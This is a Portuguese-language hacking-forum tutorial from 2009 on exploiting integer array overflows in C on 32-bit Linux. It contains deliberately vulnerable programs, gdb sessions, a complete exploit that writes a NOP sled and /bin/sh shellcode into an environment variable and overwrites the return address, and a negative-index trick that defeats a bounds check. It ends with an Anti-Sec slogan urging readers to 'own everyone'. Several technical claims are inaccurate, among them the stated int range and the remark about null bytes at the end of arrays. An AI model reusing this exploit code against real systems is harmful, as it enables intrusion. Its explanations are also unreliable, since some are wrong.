Nemesiz Security Group

The Underground For Brazilians Hackers

www.nemesiz.forum.st

Integer Array Overflow

(Explorando Integer Array Overflow)

Title: Integer Array Overflow
Author: Felix_Poison
A.k.A: Felix Costa D. S.
E-mail: elodia_superstar[at]hotmail[dot]com
Brasil, 05 Out de 2009

~ Table Of Contents

~01 - PreludiuM..

Fala ae, pessoal.. Bem, hoje trataremos de uma vulnerabilidade que não é tão nova, mas que pode ser muito aproveitada, ainda..

é o Integer Array Overflow, que é diferente do Char Array Overflow

(como o caso do Stack e Heap overflows..)

como o propio nome sugere, esse overflow ocorre com os 'INT'.

Estive um tempo sem escrever algo, entao, tive que recompensa-los com um material de nivel.. até porque, não existem muitos materiais sobre esse assunto, e muito menos ensinando a explorar o mesmo. Esse texto não tem intuito de ir longe ou de tratar totalmente do assunto abordado. Somente introduzir, e ensinar ao leitor porque ocorre, como e como tirar proveito disso.

Para esse texto, estou usando um Backtrack 3 (Slackware Based).

Todas as ferramentas que seram usadas no decorrer do texto, temos instalados neles, ou qualquer outra distro que preste.

~02 - PRE-REQUISITO

faz-se necessario conhecimento intermediario em Linguagem C, principalmente sobre Vetores(arrays) e um pouco de numeração binaria. É justo que voce já saiba como ocorre ao menos o basico de Char Array Overflows (stack, heap e etc), para que não fique muito

perdido.. No final do texto, eu disponibilizo varios links sobre esses assuntos ;)

~03 - O TIPO INT

esse capitulo não era necessario, mas é que tem pessoas que manjam linguagem C em nivel intermediario mas não sabe de algumas informaçoes que seram essensiais para entendimento de como ocorre essa falha.. entao, sem mais delongas,

O tipo int (inteiro) serve para armazenar valores numéricos inteiros. Existem vários tipos de inteiros, cada um de um tamanho diferente que varia dependendo do sistema operacional e/ou arquitetura do processador que voce usa.

O tipo Int Pode ter 16, 32 ou 64 bits. Trabalheremos com Inteiros de 32 Bits, já que o processador que estou usando é um i386

Um short int tem no minino 16 bits e não pode ser maior que int

long int tem no minimo 32 Bits e Long long int tem no minimo 64 bits..

Todos estes tipos de inteiros podem ainda ser declarados ainda como unsigned, que é quando queremos que o Int só suporte números positivos. Isto faz com que, com o mesmo tamanho, uma variável suporte mais números positivos do que um signed (todos os inteiros são signed, mas sem vermos mesmo).

Só lembrando:o valor maximo permitido para um inteiro de 32 bits(que é com oque estamos trabalhando) vale de:

-2147483647 a +2147483647 (2^32).

~04 – UM POUCO SOBRE VETORES

existem dois tipos de vetores. os vetores estaticos e os dinamicos

a diferença entre eles é que os vetores estaticos armazenam dados na memoria sequencialmente. Por exemplo, se declaramos um vetor estatico com 50 bytes de armazenamento, eles são guardados em fila, tipo:

0,1,2,3,4 ... 48,49 e 50;

quando um vetor é declarado, o primeiro caracter é o de indice 0,

enquanto o ultimo caracter é o de indice 50, que é um caracter Nulo (Null Byte). Ou seja, se declararmos um vetor com 50 bytes,

ele sempre usará todos esses bytes da memoria.

Os Vetores dinamicos, por sua vez, não tem um comprimento definido quando inicializados, e serão incrementados quando e, se necessario, ocupando na memoria somente oque for usado. Caso ele precisse pegar um byte a a mais pra inserir, ele pega de qualquer lugar livre na memoria.

O modo para se conseguir o valor de um vetor dinamico chama-se Lista encadeada, que envolve estrutura dinamica e tals..

nesse texto, não abordaremos por hora vetores dinamicos. Apenas vetores estaticos. Em um proximo texto descreveremos sobre Overflows em vetores dinamicos.

Ah, lembrando que vetores do tipo INT tambem são armazenados No Stack (pilha).

~05 – THE BUG!

a teoria desse ataque é simples:

armezenar um valor maior do que o Inteiro é capaz de suportar,

quando isso acontece, é oque chamamos de Integer Overflow.

É a mesma teoria de um Overflows usando Strings, mas há algumas diferenças

importante:

não podemos sobescrever o endereço de retorno com um numero maior do que o suportado pelo tipo INT. Em suma, é essa a teoria.

Vamos agora a pratica ;)

segue agora, um source vulneravel. Vamos explora-lo:

```
   –  -cut, bro – -
/*        int_vuln01.c
Programa Vulnerabel a Integer Overflow
usado em tutorial do Felix_Poison sobre o mesmo
*/

#include <stdio.h>

int main(int argc, char *argv[]) {
      int array[30];

      if (argc < 3) {
            printf ("Sintaxe: %s <posicao> <valor>\n", argv[0]);
            exit(0);
      }

      printf ("Colocando %d na posicao %d\n",(argv[2]),(argv[1]));
      array[atoi(argv[1])] = atoi(argv[2]);
}
```

- cut, bro - -
-

Oque esse programa faz é pegar um valor digitado por voce e joga

em uma posição da memoria, tambem definida por voce.

Vamos ver a execução normal do programa e o momento que ocorre o overflow:

-----x ----------x --------

```
bt / # ./int_vuln01 28 65535
Colocando 65535 na posicao 28
bt / # ./int_vuln01 29 65535
Colocando 65535 na posicao 29
bt / # ./int_vuln01 37 65535
Colocando 65535 na posicao 37
Segmentation fault
```

------x ------------x --------

Vimos que ele deu segmentation fault (falha de segmentação)

vamos ver oque de fato aconteceu.

Vamos criar um core dump e debuga-lo com o gdb, para vermos oque acontece na hora que executamos essa instrução ilegal:

```
bt / # ulimit -c 1234567
bt / # ./int_vuln01 37 65535
Colocando 65535 na posicao 37
Segmentation fault (core dumped)
```

pronto, foi criado o core dump do nosso programa bugado, agora vamos abri-lo no gdb usando a opção '-c core' para abrir o ultimo core dump gerado:

```
bt / # gdb -c core
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux".
Core was generated by `./int_vuln01 37 65535'.
Program terminated with signal 11, Segmentation fault.
#0  0x0000ffff in ?? ()
(gdb) q

bt / #
```

Percebemos causamos um overflow no programa, passando mais dados do que o Vetor int array[30]; poderia suportar, e fizemos ele apontar para o endereço 65535 (0x0000ffff). Ou seja, apartir da posição 37, nois poderiamos sobrescrever o return adress (endereço de retorno). Poderiamos fazer ele apontar para onde quisermos ;)

mas, eu disse bem.. Poderiamos. Vamos ver oque nois impede:

```
bt ~ # ./int_vuln01 37 4544654654
Colocando 2147483647 na posicao 37
Segmentation fault (core dumped)
bt ~ # gdb -c core
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux".
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./bug 37 4544654654'.
Program terminated with signal 11, Segmentation fault.
#0 0x7fffffff in ?? ()
(gdb)
```

tentamos fazer ele apontar para um endereço qualquer, só para exemplo, no caso o endereço 4544654654, mas houve um erro:

primeiro: na execução do programa, ao inves dele colocar os 37 não posição que queriamos, ele colocou em uma outra posição, a 2147483647..

segundo: ao abrir-mos ele com o gdb, percebemos que ele realmente não aponta para onde queriamos e sim para 0x7fffffff (2147483647)

Mas, porque? Simples, se lembram doque eu falei anteriormente?

"o valor maximo permitido para um inteiro de 32 bits(que é com oque estamos trabalhando) vale de:

-2147483647 a +2147483647 (2^32)."

ou seja, quando nois tentamos fazer ele apontar para um endereço cujo numero era maior do que o suportado pelo INT, ele parou até onde ele suporta

isso implica que, não podemos explorar assim, na cara dura, esse programa.

Ae vem a pergunta: como por um numero maior do que o suportado pelo INT, como endereço de retorno?

Há um modo.. antes, é importante lembrar que o Integer Overflow já foi causado, vamos agora, explorar esse overflow.. vamos fazer ele trabalhar para nois ;)

bem, agora vamos lá..

vamos fazer com que ele retorne o endereço 0xbe78a9fc que vale 3195578876 em decimal, e como podemos ver, ele ultrapassa o suportado por um

INT-32bits.

~06 – Explorando a Falha

já que nois não podemos passar o valor 0xbe78a9fc (3195578876)

porque ultrapassa o limite de INT, a forma de fazermos ele apontar para 0xfe78a9fc é representar ele como sendo um valor negativo

primeiramente, precissamos converter o 0xbe78a9fc Para binario (não conta-se o '0x', dã..)

faça isso como quiser, mas pra quem quer uma maozinha na roda, use esse site: http://easycalculation.com/hex-converter.php

ele converte Hexa pra dec, bin e vice-versa.

Uma informação que nós será util:o primeiro bit do nosso resultado ae, não pode fazer parte do numero, pois ele é usado apenas para indicar se o numero é positivo ou negativo. (0 = positivo[+] e 1 = negativo[-]).

Ok, o binario do nosso numero é:

1 011 1110 0111 1000 1010 1001 1111 1100

\- f e 7 8 a 9 f c

Beleza, agora, para sabermos o numero negativo que vai representar o nosso endereço de retorno, precissamos apenas trocar os numeros binarios dele, tipo assim, trocar o 1 pelo 0 e o 0 pelo 1, e depois somar +1

vamos ver como seria:

antes:

1 011 1110 0111 1000 1010 1001 1111 1100

Depois:

0 100 0001 1000 0111 0101 0110 0000 0011

agora, use a ferramente de conversão e converta esse binario para Hexa, que será: 0x41875603. Agora, some esse valor em Hexa +1, como eu tinha falado antes, que vai ser: 0x41875604

esse valor está como negativo, como voces já sabem..

entao, tudo que precissamos e saber o valor desse hexa ae em Decimal, que é: 1099388420, ou melhor.. -1099388420 ;)

existe outro metodo de voce conseguir o valor negativo do nosso endereço de retorno, usando o Perl, que seria: pegar o nosso valor inicial, subtrair ele por 0xffffffff e depois subtrair por 1. ficaria assim:

```
bt / # perl -e 'print 0xbe78a9fc - 0xffffffff - 1 . "\n"'
-1099388420

bt / #
```

pronto, já convertemos tudo certinho e já temos o numero negativo de nosso endereço.
Vamos agora, ver se funciona e se conseguimos fazer o programa apontar para ele:

```
bt ~ # ./int_vuln01 37 -1099388420
Colocando -1099388420 na posicao 37
Segmentation fault (core dumped)
bt ~ # gdb -c core
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux".
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./bug 37 -1099388420'.
Program terminated with signal 11, Segmentation fault.
#0 0xbe78a9fc in ?? ()
(gdb) q

bt / #
```

Yeah, funcionou :D Perceba que ele apontou para 0xbe78a9fc !
Isso prova que esse metodo realmente funciona. Agora, fica facil construirmos um Exploit para nosso programa..
eu escrevi algo bem simples para ele, oque ele fará é só invocar uma shell.
Mas ae, claro, voce pode usar o shellcode que quiser, obvio!
Leia o texto do Fzero sobre escrita de shellcodes ;)
vamos lá. Segue o source do Exploit para o nosso 1 programa bugado:

- - - - - CUT, BRO - - - - -

```
/*
    Primeiro Exploit Para Primeiro Programa Bugado a Integer Overflow
    usado no texto sobre Integer Overflow. Esse Xpl foi feito apenas para
    explorar o primeiro exemplo de bug do soft que usamos, e servirá
    apenas como forma de aprendizado
```

Felix_Poison – Nemesiz Security Group

/

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* nosso 'shot' ;) (é a posição que usamos no nosso programa bugado,
lembra? ) */

#define SHOT "37"


/* Pega ESP (Obtem novo endereço de retorno) */

unsigned long getesp() {
__asm__ ("movl %esp, %eax");
}

/*Shellcode para executar /bin/sh. Mude para qualquer uma de seu gosto */

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";



int main(int argc, char *argv[]) {
char *chans, ret_str[20];
int x;
unsigned long new_ret;
char comando[50];

/* Pega a posicao do novo endereco de retorno e
Adiciona offsets se necessario */

new_ret = getesp();
if (argc > 1) new_ret += atoi(argv[1]);

// Aloca espaco para chans

chans = malloc(5000);
if (chans == NULL) {
fprintf (stderr, "Erro ao alocar memoria!\n");
exit(-1);
}

/* Enche nosso ''CHANS'' com NOPs + Shellcode + NULL CHAR e deixa
ele como variavel ambiente */
```

```
for (x = 0; x < 5000 - strlen(shellcode) - 1; x++) chans[x] = 0x90;
memcpy(chans + x, shellcode, strlen(shellcode));
setenv("nemesiz", chans, 1);

/*
O Esquema dos numero negativos! se for maior do que 0x7FFFFFFF!
ele faz todo aquele processo que fizemos
lembrando que nao podemos passar o valor do novo endereco
como um long,
para isso nos precisamos converte-lo para um char*/

if (ret_str > 0x7fffffff) {
sprintf(ret_str, "%d", new_ret - 0xFFFFFFFF - 1);
} else {
sprintf(ret_str, "%d",new_ret);
}

printf ("\n\nUsando endereco de retorno: 0x%8x(%d)\n\n\n", new_ret, new_ret);

/* Executa o programa vulneravel, passando o SHOT(37) como primeiro
argumento e o novo endereco de retorno(convertido para char) como segundo
argumento */

execl("./int_vuln01", "int_vuln01", SHOT, ret_str, 0);

/* se der certo, ele nao executa o exit(0) ;)  */
exit(0);
}
```

- - - - - CUT, BRO - - - -

Vamos ver se deu certo:

```
bt ~ # ./int_vuln01_xpl1


Usando endereco de retorno: 0xbfbeb678(-1078020488)


Colocando -1078020488 na posicao 37
Segmentation fault
bt ~ #
```

Yeah, funcionou perfeitamente :D
agora, vamos a mais um exemplo de programa bugado:

```
#include <stdio.h>
```

```
int main(int argc, char *argv[]) {
	int array[30];
	    printf ("Sintaxe: %s <posicao> <valor>\n", argv[0]);
			}
	if (atoi(argv[1]) > 30) {
		printf ("Overflow Failed, bro!\n");
		exit(-1);
	}

	printf ("Colocando %d na posicao %d\n", atoi(argv[2]), atoi(argv[1]));
	array[atoi(argv[1])] = atoi(argv[2]);
	exit(0);
}
```

Bem, tecnicamente, não podemos explorar esse programa da mesma forma como exploramos o programa anterior, porque esse contem uma checagem do vetor, não permitindo o Overflow. Vejamos:

```
bt / # ./int_vuln02 37 65535

Overflow Failed, bro!

bt / # ./int_vuln02 37 -1099388420

Overflow Failed, bro!

bt / #
```

bem, como vimos não conseguimos explorar ele dessa maneira.
Mas há sim um meio de pormos mais doque o numero 30, e é uma maneira bem simples: bem, como sabemos os limites do INT, entao, basta pegar-mos o numero numero maximo do INT negativo (-2147483648) e somar-mos pelo numero que queremos por, que no caso é 37, entao ficaria:
-2147483648 + 37 = -2147483611
vamos tentar entao agora com -2147483611 para ver oque acontece:

```
bt / # ./int_vuln02 -2147483611 65535

Colocando 65535 na posicao -2147483611

bt / # ./int_vuln02 -2147483611 -1099388420

Colocando -1099388420 na posicao -2147483611

bt / #
```

Congratulations! Ninguem mais te segura ;)
espero que voce tenha entendido bem todo esse esquema..
sobre a exploração, voce pode até usar o mesmo exploit que usamos no programa bugado numero 1, só precissaria mudar o nosso 'SHOT' (posição)

~07 - Concluindo

Bem, pessoal, acabamos por aqui.. como sempre, eu procuro deixar os textos o mais facil possivel de se entender.. visto que, muitos Beginners podem sentir uma certa dificuldado para entender alguns materiais..
para contornar isso só tem uma opçao, amigo.. ESTUDAR E ESTUDAR!
Não vou prometer um segundo texto sobre Integer Overflow, porque acho que com isso tudo e com conhecimento já em outros tipos de Overflows nos quais a NSG já citou e irá citar, voce estará apto a explorar de uma forma mais profunda esse e outros tipos de falhas envolvendo Overflows, criação de Exploits e etc. Eu decidi parar com meu texto sobre Shellcodes para Linux, porque eu quero algo realmente revolucionario, entao, para isso, voces teram que esperar um pouquinho mais que em breve ele estará ae ;)
espero que tenha voces tenham entendido tudo certinho e que não tenha ficado nada do que eu não pedi nos Pre-Requisitos vago..
Qualquer duvida, sugestão, qualquer tipo de manifestação, erros e etc serão super bem-vindas. Mande-me um email ou poste no forum da NSG que eu atenderei na medida do possivel ;)

~08 - Links & Referencias

http://archive.cert.uni-stuttgart.de/bugtraq/2003/09/msg00244.html

(artigo em ingles sobre Integer Overflow do Vade79)

http://www.phrack.org/issues.html?issue=60&id=10

(artigo em ingles do pessoal da Phrack)

http://nemesiz.forum.st/vulnerabilidades-bugs-f46

(area cheia de textos sobre diversos tipos de Overflows [claro, é do pessoal da NSG, rapá! :)])

~09 - Consideraçoes Finais

''enquanto eu viver neste mundo monocromático, vou pesquisar as profundezas da terra e os céus sem limites para você.

No medo constante de que o ditado clássico é apenas uma mentira, com medo de que não hája uma pessoa lá fora para mim.
O único pensamento que pode enviar rajadas do medo absoluto
É solitário grita sempre cai em cima de seus ouvidos surdos, ainda caças para aquele que ouve e fala.
A única outra alma no mundo que pode ouvir, busca tão difícilmente, mas as chances são esmagadoramente sombrias
Eu estarei sempre para ouvir seus gritos, espero que algum dia os sons alegres venham tocar na minha cabeça... ''

eu tinha varias coisas pra por aqui, mas do nada eu esqueci :S

entao, fica por isso mesmo, qualquer coisa eu desabafo no forum mesmo rs..

Agradecimentos: Fzero, ReatoR, Oaf, Ljm4st3r_, Will, CyS, Lais Pelas risadas, ao pessoal do Angra por serem os melhores musicos do Pais ;)

e a todos os que leram esse texto e que participam de alguma forma da cena hacker brasileira (mesmo que só estudando, voce esta sim participando ;))

Blend in.
Get trusted.
Trust no one.
Own everyone.
Disclose nothing.
Destroy everything.
Take back the scene.
Never sell out, never surrender.
Get in as anonymous, Leave with no trace..
(Anti-Sec Group)

[]'s, Felix_Poison

Nemesiz Security Group – Underground For Brazilians Hackers